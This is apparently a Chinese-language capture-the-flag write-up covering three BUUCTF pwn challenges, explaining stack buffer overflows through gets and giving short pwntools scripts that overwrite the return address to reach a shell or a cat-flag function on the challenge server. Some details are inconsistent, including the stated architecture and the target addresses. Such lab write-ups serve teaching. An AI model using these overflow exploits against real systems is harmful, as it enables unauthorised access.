前言:做该类型题目,推荐在ubuntu系统上进行,需要的软件有IDA,nc(netcat) pwntools.
一.test_your_n
打开页面,发现他给了一个文件,先下载,然后启动靶机。
程序分析:64位程序,没有开启任何保护。打开IDA,查看一下源代码
程序分析:main函数中只存在system("/bin/sh")函数,所以nc可直接拿到权限。
使用方法:打开终端输入 nc(ip + 端口号)
cat flag
二.rip
先下文件,启动靶机
程序分析:64位程序,没有开启任何保护。打开 IDA,查看一下源代码
代码分析:函数很简单,就一个puts函数输出,然后gets函数输入到s当中,用puts函数输出出来。
程序关键:存在gets函数,由于存在两个参数,准确来说是gets_s函数
gets_s(buffer,size)函数:从标准输入中读取数据,size表示的最多读取的数量,在这里是argv,没有定义是多大,所以我们就可以无限的输入。但是可以发现buffer就只有0xF字节的大小,输入超过0xF个字节以后,你就会溢出,你会覆盖返回地址。所以如果你先填充字节,然后修改掉返回地址就可以调转到你想要跳转的地方。
存在溢出条件,接下来就是要找后门函数地址了。(为什么/bin/sh在前面,因为64位先传参数,其次找函数的地址就是找system函数以及它的参数)
发现system(“/bin/sh")函数地址,只要我们能控制程序返回到0x40118A,就可以得到系统的shell了
exp:
from pwn import *
p=remote("node4.buuoj.cn",*****)
payload=b'a'*(15+8)+p64(0x401186+1) #使文件溢出到函数fun的返回地址
p.sendline(payload)
p.interactive()
cat flag
三.warmup_csaw_2016
先下文件,启动靶机
程序分析 :32位程序,没有开启任何保护。打开 IDA,查看一下源代码。
代码分析:俩个write函数输出,然后sprintf函数利用%p将sub_40060函数地址(其实就是system函数)打印出来放到s里面,然后由write函数打印出来,由于是64位所以write那是9,
很容易发现了 gets函数,显然存在溢出条件,再查看是否存在后门函数。
发现了cat flag,只要我们能控制程序返回到0x000400611,就可以得到flag了。
下面就是找到偏移量,易得为0x40+8
这里与 第二题唯一不同 的就是 第二题是 拿到shell,而第三题是 得到一个命令 cat flag。
exp:
-
from pwn import *
-
p=remote('node4.buuoj.cn',27652)
-
payload=b'A'*(0x40+0x08)+p64(0x40060d)
-
p.sendline(payload)
-
p.interactive()